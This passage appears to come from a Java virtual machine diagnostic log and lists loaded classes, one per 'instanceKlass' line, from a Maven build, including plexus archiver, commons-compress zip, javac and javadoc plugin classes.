org/apache/maven/archiver/MavenArchiveConfiguration\ninstanceKlass org/codehaus/plexus/archiver/FinalizerEnabled\ninstanceKlass org/codehaus/plexus/archiver/FilterEnabled\ninstanceKlass org/codehaus/plexus/components/io/filemappers/FileMapper\ninstanceKlass org/codehaus/plexus/components/io/resources/PlexusIoResourceCollection\ninstanceKlass org/codehaus/plexus/components/io/fileselectors/FileSelector\ninstanceKlass org/codehaus/plexus/archiver/manager/ArchiverManager\ninstanceKlass org/codehaus/plexus/archiver/UnArchiver\ninstanceKlass org/codehaus/plexus/archiver/Archiver\ninstanceKlass org/codehaus/plexus/components/interactivity/Prompter\ninstanceKlass org/codehaus/plexus/components/interactivity/OutputHandler\ninstanceKlass org/codehaus/plexus/components/interactivity/InputHandler\ninstanceKlass org/apache/maven/plugin/compiler/TestCompilerMojo$$FastClassByGuice$$596947190\ninstanceKlass org/apache/maven/shared/utils/io/IOUtil\ninstanceKlass org/apache/maven/shared/utils/io/FileUtils\ninstanceKlass org/apache/maven/shared/utils/io/DirectoryScanResult\ninstanceKlass org/apache/maven/shared/utils/io/DirectoryScanner\ninstanceKlass org/apache/maven/shared/incremental/IncrementalBuildHelperRequest\ninstanceKlass org/codehaus/plexus/util/SelectorUtils\ninstanceKlass org/codehaus/plexus/util/AbstractScanner\ninstanceKlass org/codehaus/plexus/util/Scanner\ninstanceKlass org/codehaus/plexus/compiler/util/scan/mapping/SuffixMapping\ninstanceKlass org/codehaus/plexus/compiler/util/scan/AbstractSourceInclusionScanner\ninstanceKlass org/apache/maven/shared/incremental/IncrementalBuildHelper\ninstanceKlass org/apache/maven/shared/utils/StringUtils\ninstanceKlass org/codehaus/plexus/compiler/javac/JavacCompiler$$FastClassByGuice$$595857434\ninstanceKlass org/codehaus/plexus/compiler/manager/DefaultCompilerManager$$FastClassByGuice$$595568603\ninstanceKlass org/apache/maven/plugin/compiler/CompilerMojo$$FastClassByGuice$$594026974\ninstanceKlass org/sonatype/plexus/components/sec/dispatcher/model/SettingsSecurity\ninstanceKlass org/sonatype/plexus/components/cipher/PBECipher\ninstanceKlass org/codehaus/plexus/compiler/CompilerMessage\ninstanceKlass org/codehaus/plexus/util/cli/StreamConsumer\ninstanceKlass org/codehaus/plexus/compiler/CompilerOutputStyle\ninstanceKlass org/codehaus/plexus/compiler/CompilerResult\ninstanceKlass org/codehaus/plexus/compiler/CompilerConfiguration\ninstanceKlass org/codehaus/plexus/compiler/util/scan/SourceInclusionScanner\ninstanceKlass org/codehaus/plexus/compiler/util/scan/mapping/SourceMapping\ninstanceKlass org/codehaus/plexus/compiler/Compiler\ninstanceKlass org/codehaus/plexus/compiler/manager/CompilerManager\ninstanceKlass org/sonatype/plexus/components/cipher/PlexusCipher\ninstanceKlass org/sonatype/plexus/components/sec/dispatcher/SecDispatcher\ninstanceKlass org/apache/maven/RepositoryUtils$$Lambda$508\ninstanceKlass java/util/function/Predicate$$Lambda$507\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass org/apache/maven/artifact/resolver/filter/ExclusionArtifactFilter$$Lambda$506\ninstanceKlass org/apache/maven/artifact/resolver/filter/ExclusionArtifactFilter$$Lambda$505\ninstanceKlass org/apache/maven/artifact/resolver/filter/ExclusionArtifactFilter\ninstanceKlass javax/servlet/annotation/WebServlet\ninstanceKlass com/sun/tools/javac/comp/ArgumentAttr$$Lambda$504\ninstanceKlass com/sun/tools/javac/comp/Check$$Lambda$503\ninstanceKlass com/sun/tools/javac/comp/Attr$$Lambda$502\ninstanceKlass com/sun/tools/javac/comp/ArgumentAttr$$Lambda$501\ninstanceKlass com/sun/tools/javac/code/Types$DescriptorCache$Entry\ninstanceKlass com/sun/tools/javac/code/Types$DescriptorCache$FunctionDescriptor\ninstanceKlass com/sun/tools/javac/comp/Annotate$$Lambda$500\ninstanceKlass com/sun/tools/javac/comp/Annotate$$Lambda$499\ninstanceKlass sun/nio/cs/SingleByte\ninstanceKlass org/objectweb/asm/ByteVector\ninstanceKlass org/objectweb/asm/Symbol\ninstanceKlass org/objectweb/asm/SymbolTable\ninstanceKlass org/objectweb/asm/MethodVisitor\ninstanceKlass org/objectweb/asm/ModuleVisitor\ninstanceKlass org/objectweb/asm/AnnotationVisitor\ninstanceKlass org/objectweb/asm/FieldVisitor\ninstanceKlass org/objectweb/asm/RecordComponentVisitor\ninstanceKlass org/objectweb/asm/ClassVisitor\ninstanceKlass com/sun/tools/javac/comp/Infer$EqCheckLegacy$$Lambda$498\ninstanceKlass com/sun/tools/javac/comp/Infer$EqCheckLegacy$$Lambda$497\ninstanceKlass com/sun/tools/javac/comp/TypeEnter$$Lambda$496\ninstanceKlass com/sun/tools/javac/jvm/ClassReader$ParameterAnnotations\ninstanceKlass org/apache/maven/artifact/versioning/ComparableVersion$LongItem\ninstanceKlass org/apache/maven/plugins/install/InstallMojo$$Lambda$495\ninstanceKlass org/apache/maven/plugins/install/InstallMojo$$Lambda$494\ninstanceKlass org/apache/maven/plugins/install/InstallMojo$$Lambda$493\ninstanceKlass org/apache/maven/plugins/install/InstallMojo$$Lambda$492\ninstanceKlass org/apache/maven/plugins/install/InstallMojo$$FastClassByGuice$$592469532\ninstanceKlass org/apache/maven/artifact/handler/DefaultArtifactHandler$__sisu15$$FastClassByGuice$$591688683\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipEightByteInteger\ninstanceKlass org/apache/commons/compress/archivers/zip/JarMarker\ninstanceKlass org/apache/commons/compress/archivers/zip/X7875_NewUnix\ninstanceKlass org/apache/commons/compress/archivers/zip/X5455_ExtendedTimestamp\ninstanceKlass org/apache/commons/compress/archivers/zip/AsiExtraField\ninstanceKlass org/apache/commons/compress/archivers/zip/UnixStat\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils\ninstanceKlass org/codehaus/plexus/archiver/util/ResourceUtils\ninstanceKlass org/apache/commons/compress/archivers/zip/AbstractUnicodeExtraField\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipUtil\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipShort\ninstanceKlass org/apache/commons/compress/archivers/zip/Zip64ExtendedInformationExtraField\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipArchiveOutputStream$CurrentEntry\ninstanceKlass org/apache/commons/compress/archivers/zip/GeneralPurposeBit\ninstanceKlass org/apache/commons/compress/archivers/zip/UnparseableExtraFieldData\ninstanceKlass org/codehaus/plexus/archiver/jar/JdkManifestFactory\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipArchiveOutputStream$UnicodeExtraFieldPolicy\ninstanceKlass org/apache/commons/compress/utils/Charsets\ninstanceKlass org/apache/commons/compress/archivers/zip/FallbackZipEncoding\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipEncodingHelper$SimpleEncodingHolder\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipEncoding\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipEncodingHelper\ninstanceKlass org/codehaus/plexus/archiver/util/Streams\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipLong\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipExtraField\ninstanceKlass org/codehaus/plexus/components/io/resources/PlexusIoFileResource$1\ninstanceKlass org/codehaus/plexus/components/io/resources/AbstractPlexusIoResource\ninstanceKlass org/codehaus/plexus/components/io/functions/FileSupplier\ninstanceKlass org/codehaus/plexus/components/io/functions/ResourceAttributeSupplier\ninstanceKlass org/codehaus/plexus/components/io/functions/SymlinkDestinationSupplier\ninstanceKlass org/codehaus/plexus/components/io/resources/ResourceFactory\ninstanceKlass org/codehaus/plexus/components/io/attributes/PlexusIoResourceAttributeUtils\ninstanceKlass java/nio/file/attribute/DosFileAttributeView\ninstanceKlass org/codehaus/plexus/components/io/attributes/Java7AttributeUtils\ninstanceKlass org/codehaus/plexus/components/io/attributes/Java7FileAttributes\ninstanceKlass org/codehaus/plexus/components/io/attributes/Java7Reflector\ninstanceKlass org/codehaus/plexus/archiver/AbstractArchiver$1\ninstanceKlass org/codehaus/plexus/archiver/jar/Manifest$Section\ninstanceKlass org/apache/maven/archiver/ManifestConfiguration\ninstanceKlass org/codehaus/plexus/components/io/attributes/SimpleResourceAttributes\ninstanceKlass org/codehaus/plexus/components/io/resources/AbstractPlexusIoResourceCollection$IdentityTransformer\ninstanceKlass org/codehaus/plexus/archiver/util/AbstractFileSet\ninstanceKlass org/codehaus/plexus/interpolation/RecursionInterceptor\ninstanceKlass org/codehaus/plexus/interpolation/Interpolator\ninstanceKlass org/codehaus/plexus/archiver/jar/Manifest$BaseAttribute\ninstanceKlass org/apache/maven/archiver/MavenArchiver\ninstanceKlass java/util/DualPivotQuicksort\ninstanceKlass org/codehaus/plexus/util/io/InputStreamFacade\ninstanceKlass org/codehaus/plexus/util/FileUtils\ninstanceKlass org/apache/maven/wagon/PathUtils\ninstanceKlass org/codehaus/plexus/util/cli/CommandLineUtils$1\ninstanceKlass org/codehaus/plexus/util/cli/ShutdownHookUtils\ninstanceKlass java/lang/ProcessImpl$2\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass java/lang/ProcessImpl$$Lambda$491\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass java/lang/Process\ninstanceKlass java/lang/ProcessBuilder\ninstanceKlass org/codehaus/plexus/util/cli/CommandLineUtils$StringStreamConsumer\ninstanceKlass org/codehaus/plexus/util/cli/Commandline$Argument\ninstanceKlass org/codehaus/plexus/util/cli/Arg\ninstanceKlass org/codehaus/plexus/util/cli/shell/Shell\ninstanceKlass org/codehaus/plexus/util/Os\ninstanceKlass org/codehaus/plexus/util/cli/CommandLineCallable\ninstanceKlass org/codehaus/plexus/util/cli/CommandLineUtils\ninstanceKlass org/codehaus/plexus/util/SelectorUtils\ninstanceKlass org/codehaus/plexus/util/MatchPattern\ninstanceKlass org/codehaus/plexus/util/AbstractScanner\ninstanceKlass org/codehaus/plexus/util/Scanner\ninstanceKlass org/codehaus/plexus/util/IOUtil\ninstanceKlass org/codehaus/plexus/util/xml/pull/MXSerializer\ninstanceKlass org/apache/maven/plugin/javadoc/options/io/xpp3/JavadocOptionsXpp3Writer\ninstanceKlass org/codehaus/plexus/util/WriterFactory\ninstanceKlass org/codehaus/plexus/util/StringUtils\ninstanceKlass org/apache/http/client/HttpClient\ninstanceKlass org/apache/http/auth/Credentials\ninstanceKlass org/apache/http/conn/ClientConnectionManager\ninstanceKlass org/apache/http/client/methods/HttpUriRequest\ninstanceKlass org/apache/http/HttpRequest\ninstanceKlass org/apache/http/HttpMessage\ninstanceKlass org/apache/maven/plugin/javadoc/JavadocUtil\ninstanceKlass org/codehaus/plexus/util/introspection/ClassMap$MethodInfo\ninstanceKlass org/codehaus/plexus/archiver/jar/JarArchiver$$FastClassByGuice$$590865819\ninstanceKlass org/apache/maven/project/DefaultMavenProjectBuilder$$FastClassByGuice$$589819535\ninstanceKlass org/codehaus/plexus/archiver/manager/DefaultArchiverManager$$FastClassByGuice$$588377800\ninstanceKlass org/apache/commons/lang/ClassUtils\ninstanceKlass org/apache/commons/lang/SystemUtils\ninstanceKlass org/apache/maven/plugin/javadoc/JavadocJar$$FastClassByGuice$$587600750\ninstanceKlass org/apache/maven/doxia/index/IndexEntry\ninstanceKlass org/apache/maven/doxia/sink/AbstractTextSinkFactory\ninstanceKlass org/codehaus/plexus/archiver/manager/DefaultArchiverManager\ninstanceKlass org/apache/maven/doxia/parser/manager/DefaultParserManager\ninstanceKlass org/sonatype/plexus/components/cipher/PBECipher\ninstanceKlass org/codehaus/plexus/archiver/filters/JarSecurityFileSelector\ninstanceKlass org/codehaus/plexus/components/io/fileselectors/AllFilesFileSelector\ninstanceKlass org/codehaus/plexus/components/interactivity/DefaultPrompter\ninstanceKlass org/apache/maven/doxia/macro/manager/DefaultMacroManager\ninstanceKlass org/codehaus/plexus/util/MatchPatterns\ninstanceKlass org/codehaus/plexus/components/io/fileselectors/IncludeExcludeFileSelector\ninstanceKlass org/apache/maven/doxia/macro/AbstractMacro\ninstanceKlass org/sonatype/plexus/components/sec/dispatcher/model/SettingsSecurity\ninstanceKlass org/apache/maven/doxia/sink/AbstractSink\ninstanceKlass org/apache/maven/doxia/module/xhtml/XhtmlMarkup\ninstanceKlass org/apache/maven/doxia/siterenderer/SiteRenderingContext\ninstanceKlass org/apache/velocity/context/Context\ninstanceKlass org/apache/maven/doxia/site/decoration/inheritance/DefaultDecorationModelInheritanceAssembler$URLContainer\ninstanceKlass org/apache/maven/doxia/site/decoration/Banner\ninstanceKlass org/apache/maven/doxia/site/decoration/DecorationModel\ninstanceKlass org/apache/maven/doxia/site/decoration/LinkItem\ninstanceKlass org/apache/maven/doxia/site/decoration/inheritance/DefaultDecorationModelInheritanceAssembler\ninstanceKlass org/apache/maven/doxia/module/site/manager/DefaultSiteModuleManager\ninstanceKlass org/codehaus/plexus/components/io/filemappers/AbstractFileMapper\ninstanceKlass org/codehaus/plexus/archiver/tar/TarArchiver$TarOptions\ninstanceKlass org/codehaus/plexus/components/interactivity/DefaultOutputHandler\ninstanceKlass org/apache/maven/shared/invoker/InvocationRequest\ninstanceKlass org/apache/maven/shared/invoker/InvocationOutputHandler\ninstanceKlass org/apache/maven/shared/invoker/InvokerLogger\ninstanceKlass org/apache/maven/shared/invoker/InvocationResult\ninstanceKlass org/apache/maven/shared/invoker/DefaultInvoker\ninstanceKlass org/apache/maven/doxia/module/fml/model/Faq\ninstanceKlass org/apache/maven/doxia/module/fml/model/Part\ninstanceKlass org/apache/maven/doxia/module/fml/model/Faqs\ninstanceKlass javax/swing/text/html/HTML$Tag\ninstanceKlass org/apache/maven/doxia/sink/SinkEventAttributeSet\ninstanceKlass org/apache/maven/doxia/sink/SinkEventAttributes\ninstanceKlass javax/swing/text/MutableAttributeSet\ninstanceKlass javax/swing/text/AttributeSet\ninstanceKlass org/apache/maven/doxia/macro/MacroRequest\ninstanceKlass org/apache/maven/doxia/logging/Log\ninstanceKlass org/apache/maven/doxia/parser/AbstractParser\ninstanceKlass org/apache/maven/doxia/module/fml/FmlMarkup\ninstanceKlass org/apache/maven/doxia/markup/HtmlMarkup\ninstanceKlass org/apache/maven/doxia/markup/XmlMarkup\ninstanceKlass org/apache/maven/doxia/markup/Markup\ninstanceKlass org/apache/velocity/runtime/RuntimeServices\ninstanceKlass org/apache/velocity/runtime/RuntimeLogger\ninstanceKlass org/apache/velocity/app/VelocityEngine\ninstanceKlass org/apache/velocity/runtime/RuntimeConstants\ninstanceKlass org/apache/velocity/runtime/log/LogSystem\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipFile\ninstanceKlass org/apache/commons/compress/archivers/ArchiveEntry\ninstanceKlass org/codehaus/plexus/archiver/ArchiveEntry\ninstanceKlass org/codehaus/plexus/archiver/FileSet\ninstanceKlass org/codehaus/plexus/archiver/ArchivedFileSet\ninstanceKlass org/codehaus/plexus/archiver/BaseFileSet\ninstanceKlass org/codehaus/plexus/archiver/util/FilterSupport\ninstanceKlass org/codehaus/plexus/archiver/ResourceIterator\ninstanceKlass org/codehaus/plexus/archiver/ArchiveFinalizer\ninstanceKlass org/codehaus/plexus/archiver/tar/TarFile\ninstanceKlass org/codehaus/plexus/archiver/ArchiveFile\ninstanceKlass org/codehaus/plexus/components/io/resources/AbstractPlexusIoResourceCollection\ninstanceKlass org/apache/commons/compress/compressors/bzip2/BZip2Constants\ninstanceKlass org/codehaus/plexus/components/io/attributes/PlexusIoResourceAttributes\ninstanceKlass org/codehaus/plexus/components/io/resources/PlexusIoResource\ninstanceKlass org/codehaus/plexus/components/io/functions/SizeSupplier\ninstanceKlass org/codehaus/plexus/components/io/fileselectors/FileInfo\ninstanceKlass org/codehaus/plexus/components/io/functions/NameSupplier\ninstanceKlass org/codehaus/plexus/components/io/functions/InputStreamTransformer\ninstanceKlass org/codehaus/plexus/components/io/functions/ContentSupplier\ninstanceKlass org/codehaus/plexus/components/io/resources/PlexusIoCompressedFileResourceCollection\ninstanceKlass org/codehaus/plexus/components/io/resources/PlexusIoArchivedResourceCollection\ninstanceKlass org/apache/maven/doxia/module/site/AbstractSiteModule\ninstanceKlass org/apache/maven/archiver/MavenArchiveConfiguration\ninstanceKlass org/codehaus/plexus/archiver/FinalizerEnabled\ninstanceKlass org/codehaus/plexus/archiver/FilterEnabled\ninstanceKlass com/thoughtworks/qdox/model/DocletTag\ninstanceKlass org/apache/maven/plugin/javadoc/AbstractFixJavadocMojo$JavaEntityTags\ninstanceKlass com/thoughtworks/qdox/model/Type\ninstanceKlass com/thoughtworks/qdox/model/JavaClassParent\ninstanceKlass com/thoughtworks/qdox/model/Member\ninstanceKlass com/thoughtworks/qdox/model/AbstractBaseJavaEntity\ninstanceKlass org/apache/maven/doxia/sink/render/RenderingContext\ninstanceKlass org/codehaus/doxia/sink/Sink\ninstanceKlass org/apache/maven/doxia/sink/Sink\ninstanceKlass org/apache/maven/plugin/javadoc/options/JavadocOptions\ninstanceKlass org/codehaus/plexus/util/cli/Commandline\ninstanceKlass org/apache/maven/plugin/javadoc/resolver/SourceResolverConfig\ninstanceKlass org/apache/maven/plugin/javadoc/options/Tag\ninstanceKlass org/apache/maven/plugin/javadoc/options/Taglet\ninstanceKlass org/apache/maven/plugin/javadoc/options/OfflineLink\ninstanceKlass org/apache/maven/plugin/javadoc/options/Group\ninstanceKlass org/codehaus/plexus/util/cli/StreamConsumer\ninstanceKlass org/apache/maven/plugin/javadoc/options/JavadocPathArtifact\ninstanceKlass org/codehaus/plexus/components/io/filemappers/FileMapper\ninstanceKlass org/codehaus/plexus/components/io/resources/PlexusIoResourceCollection\ninstanceKlass org/codehaus/plexus/components/io/fileselectors/FileSelector\ninstanceKlass org/codehaus/plexus/archiver/manager/ArchiverManager\ninstanceKlass org/codehaus/plexus/archiver/UnArchiver\ninstanceKlass org/codehaus/plexus/archiver/Archiver\ninstanceKlass org/codehaus/plexus/i18n/I18N\ninstanceKlass org/apache/maven/doxia/parser/Parser\ninstanceKlass org/apache/maven/doxia/sink/SinkFactory\ninstanceKlass org/apache/maven/doxia/module/site/SiteModule\ninstanceKlass org/apache/maven/doxia/site/decoration/inheritance/DecorationModelInheritanceAssembler\ninstanceKlass org/apache/maven/doxia/macro/manager/MacroManager\ninstanceKlass org/apache/maven/doxia/macro/Macro\ninstanceKlass org/apache/maven/doxia/logging/LogEnabled\ninstanceKlass org/apache/maven/doxia/parser/manager/ParserManager\ninstanceKlass org/apache/maven/doxia/module/site/manager/SiteModuleManager\ninstanceKlass org/apache/maven/doxia/Doxia\ninstanceKlass org/apache/maven/doxia/siterenderer/Renderer\ninstanceKlass org/codehaus/plexus/velocity/VelocityComponent\ninstanceKlass org/apache/maven/shared/invoker/Invoker\ninstanceKlass org/sonatype/plexus/components/cipher/PlexusCipher\ninstanceKlass org/sonatype/plexus/components/sec/dispatcher/SecDispatcher\ninstanceKlass org/codehaus/plexus/components/interactivity/Prompter\ninstanceKlass org/codehaus/plexus/components/interactivity/OutputHandler\ninstanceKlass org/codehaus/plexus/components/interactivity/InputHandler\ninstanceKlass org/apache/maven/reporting/MavenReport\ninstanceKlass java/util/stream/IntStream\ninstanceKlass org/apache/maven/artifact/handler/DefaultArtifactHandler$__sisu14$$FastClassByGuice$$586749119\ninstanceKlass org/codehaus/plexus/archiver/zip/AsiExtraField\ninstanceKlass org/codehaus/plexus/archiver/UnixStat\ninstanceKlass org/codehaus/plexus/archiver/zip/ExtraFieldUtils\ninstanceKlass org/codehaus/plexus/archiver/zip/ZipExtraField\ninstanceKlass org/codehaus/plexus/archiver/util/ResourceUtils\ninstanceKlass org/codehaus/plexus/archiver/zip/ZipShort\ninstanceKlass org/codehaus/plexus/archiver/jar/JdkManifestFactory\ninstanceKlass org/codehaus/plexus/util/IOUtil\ninstanceKlass org/codehaus/plexus/archiver/zip/ZipLong\ninstanceKlass org/codehaus/plexus/util/StringUtils\ninstanceKlass org/codehaus/plexus/archiver/jar/Manifest$Section\ninstanceKlass org/apache/maven/archiver/ManifestConfiguration\ninstanceKlass org/codehaus/plexus/components/io/resources/AbstractPlexusIoResource\ninstanceKlass org/codehaus/plexus/components/io/resources/PlexusIoResourceWithAttributes\ninstanceKlass org/codehaus/plexus/util/Os\ninstanceKlass org/codehaus/plexus/util/SelectorUtils\ninstanceKlass org/codehaus/plexus/util/MatchPattern\ninstanceKlass org/codehaus/plexus/util/MatchPatterns\ninstanceKlass org/codehaus/plexus/archiver/AbstractArchiver$1\ninstanceKlass org/codehaus/plexus/util/cli/StreamConsumer\ninstanceKlass org/codehaus/plexus/components/io/attributes/PlexusIoResourceAttributeUtils\ninstanceKlass org/codehaus/plexus/archiver/util/AbstractFileSet\ninstanceKlass org/codehaus/plexus/util/AbstractScanner\ninstanceKlass org/codehaus/plexus/util/Scanner\ninstanceKlass org/codehaus/plexus/util/io/InputStreamFacade\ninstanceKlass org/codehaus/plexus/util/FileUtils\ninstanceKlass org/codehaus/plexus/interpolation/RecursionInterceptor\ninstanceKlass org/codehaus/plexus/interpolation/Interpolator\ninstanceKlass org/codehaus/plexus/archiver/jar/Manifest$BaseAttribute\ninstanceKlass org/codehaus/plexus/archiver/manager/DefaultArchiverManager$$FastClassByGuice$$585594255\ninstanceKlass org/codehaus/plexus/archiver/jar/JarArchiver$$FastClassByGuice$$584568143\ninstanceKlass org/apache/maven/plugin/source/SourceJarNoForkMojo$$FastClassByGuice$$583652313\ninstanceKlass org/codehaus/plexus/components/interactivity/DefaultPrompter\ninstanceKlass org/codehaus/plexus/archiver/filters/JarSecurityFileSelector\ninstanceKlass org/codehaus/plexus/archiver/tar/TarArchiver$TarOptions\ninstanceKlass org/codehaus/plexus/components/io/fileselectors/IncludeExcludeFileSelector\ninstanceKlass org/codehaus/plexus/components/io/attributes/FileAttributes\ninstanceKlass org/codehaus/plexus/components/io/attributes/PlexusIoResourceAttributes\ninstanceKlass org/codehaus/plexus/components/io/resources/PlexusIOResourceCollectionWithAttributes\ninstanceKlass org/codehaus/plexus/components/interactivity/DefaultOutputHandler\ninstanceKlass org/codehaus/plexus/archiver/manager/DefaultArchiverManager\ninstanceKlass org/codehaus/plexus/archiver/tar/TarFile\ninstanceKlass org/codehaus/plexus/components/io/fileselectors/AllFilesFileSelector\ninstanceKlass org/codehaus/plexus/components/io/filemappers/AbstractFileMapper\ninstanceKlass org/codehaus/plexus/archiver/bzip2/BZip2Constants\ninstanceKlass org/codehaus/plexus/components/io/resources/PlexusIoCompressedFileResourceCollection\ninstanceKlass org/codehaus/plexus/components/io/resources/AbstractPlexusIoResourceCollection\ninstanceKlass org/codehaus/plexus/components/io/resources/PlexusIoArchivedResourceCollection\ninstanceKlass org/codehaus/plexus/archiver/zip/ZipFile\ninstanceKlass org/codehaus/plexus/archiver/ArchiveFile\ninstanceKlass org/codehaus/plexus/archiver/ArchiveFile$Entry\ninstanceKlass org/codehaus/plexus/archiver/ArchiveEntry\ninstanceKlass org/codehaus/plexus/archiver/ResourceIterator\ninstanceKlass org/codehaus/plexus/archiver/FileSet\ninstanceKlass org/codehaus/plexus/archiver/ArchivedFileSet\ninstanceKlass org/codehaus/plexus/archiver/BaseFileSet\ninstanceKlass org/codehaus/plexus/archiver/util/EnumeratedAttribute\ninstanceKlass org/codehaus/plexus/archiver/ArchiveFinalizer\ninstanceKlass org/codehaus/plexus/components/io/resources/PlexusIoResource\ninstanceKlass org/codehaus/plexus/archiver/util/FilterSupport\ninstanceKlass org/codehaus/plexus/components/io/fileselectors/FileInfo\ninstanceKlass org/apache/maven/archiver/MavenArchiver\ninstanceKlass org/apache/maven/archiver/MavenArchiveConfiguration\ninstanceKlass org/codehaus/plexus/archiver/FinalizerEnabled\ninstanceKlass org/codehaus/plexus/archiver/FilterEnabled\ninstanceKlass org/codehaus/plexus/components/io/filemappers/FileMapper\ninstanceKlass org/codehaus/plexus/components/io/resources/PlexusIoResourceCollection\ninstanceKlass org/codehaus/plexus/components/io/fileselectors/FileSelector\ninstanceKlass org/codehaus/plexus/archiver/manager/ArchiverManager\ninstanceKlass org/codehaus/plexus/archiver/UnArchiver\ninstanceKlass org/codehaus/plexus/archiver/Archiver\ninstanceKlass org/codehaus/plexus/components/interactivity/Prompter\ninstanceKlass org/codehaus/plexus/components/interactivity/OutputHandler\ninstanceKlass org/codehaus/plexus/components/interactivity/InputHandler\ninstanceKlass org/apache/commons/compress/archivers/zip/ScatterZipOutputStream$ZipEntryWriter\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipArchiveOutputStream$EntryMetaData\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipArchiveOutputStream$CurrentEntry\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils$UnparseableExtraField\ninstanceKlass org/apache/commons/compress/archivers/zip/ParallelScatterZipCreator$$Lambda$490\ninstanceKlass org/codehaus/plexus/archiver/zip/ConcurrentJarCreator$$Lambda$489\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipArchiveEntryRequestSupplier\ninstanceKlass org/codehaus/plexus/archiver/zip/AbstractZipArchiver$$Lambda$488\ninstanceKlass org/codehaus/plexus/archiver/util/ResourceUtils\ninstanceKlass org/codehaus/plexus/archiver/zip/ConcurrentJarCreator$$Lambda$487\ninstanceKlass org/codehaus/plexus/components/io/functions/SymlinkDestinationSupplier\ninstanceKlass org/codehaus/plexus/archiver/jar/JarArchiver$$Lambda$486\ninstanceKlass org/apache/commons/compress/archivers/zip/ScatterZipOutputStream$CompressedEntry\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipArchiveEntryRequest\ninstanceKlass org/codehaus/plexus/archiver/zip/AbstractZipArchiver$$Lambda$485\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils$$Lambda$484\ninstanceKlass org/apache/commons/compress/archivers/zip/ResourceAlignmentExtraField\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils$$Lambda$483\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils$$Lambda$482\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils$$Lambda$481\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils$$Lambda$480\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils$$Lambda$479\ninstanceKlass org/apache/commons/compress/archivers/zip/PKWareExtraHeader\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils$$Lambda$478\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils$$Lambda$477\ninstanceKlass org/apache/commons/compress/archivers/zip/Zip64ExtendedInformationExtraField\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils$$Lambda$476\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils$$Lambda$475\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils$$Lambda$474\ninstanceKlass org/apache/commons/compress/archivers/zip/JarMarker\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils$$Lambda$473\ninstanceKlass org/apache/commons/compress/archivers/zip/X7875_NewUnix\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils$$Lambda$472\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils$$Lambda$471\ninstanceKlass org/apache/commons/compress/archivers/zip/AsiExtraField\ninstanceKlass org/apache/commons/compress/archivers/zip/UnixStat\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils\ninstanceKlass org/apache/commons/compress/archivers/zip/X000A_NTFS\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipShort\ninstanceKlass org/apache/commons/compress/archivers/zip/X5455_ExtendedTimestamp\ninstanceKlass org/apache/commons/compress/archivers/zip/AbstractUnicodeExtraField\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipUtil\ninstanceKlass org/apache/commons/compress/archivers/zip/GeneralPurposeBit\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldParsingBehavior\ninstanceKlass org/apache/commons/compress/archivers/zip/UnparseableExtraFieldBehavior\ninstanceKlass org/codehaus/plexus/archiver/jar/JdkManifestFactory\ninstanceKlass org/apache/commons/compress/archivers/zip/ParallelScatterZipCreator\ninstanceKlass org/apache/commons/compress/archivers/zip/ScatterZipOutputStream\ninstanceKlass org/apache/commons/io/function/IOConsumer$$Lambda$470\ninstanceKlass org/apache/commons/io/function/IOConsumer\ninstanceKlass org/apache/commons/io/output/ThresholdingOutputStream$$Lambda$469\ninstanceKlass org/apache/commons/io/function/IOFunction\ninstanceKlass org/codehaus/plexus/archiver/zip/DeferredScatterOutputStream\ninstanceKlass org/apache/commons/compress/parallel/ScatterGatherBackingStore\ninstanceKlass org/codehaus/plexus/archiver/zip/ConcurrentJarCreator$DeferredSupplier\ninstanceKlass org/apache/commons/compress/parallel/ScatterGatherBackingStoreSupplier\ninstanceKlass org/apache/commons/compress/archivers/zip/StreamCompressor\ninstanceKlass org/apache/commons/io/Charsets\ninstanceKlass org/apache/commons/compress/archivers/zip/NioZipEncoding\ninstanceKlass org/apache/commons/compress/archivers/zip/CharsetAccessor\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipEncoding\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipEncodingHelper\ninstanceKlass org/codehaus/plexus/archiver/util/Streams\ninstanceKlass org/apache/commons/compress/utils/ByteUtils\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipLong\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipExtraField\ninstanceKlass org/codehaus/plexus/archiver/AbstractArchiver$1\ninstanceKlass 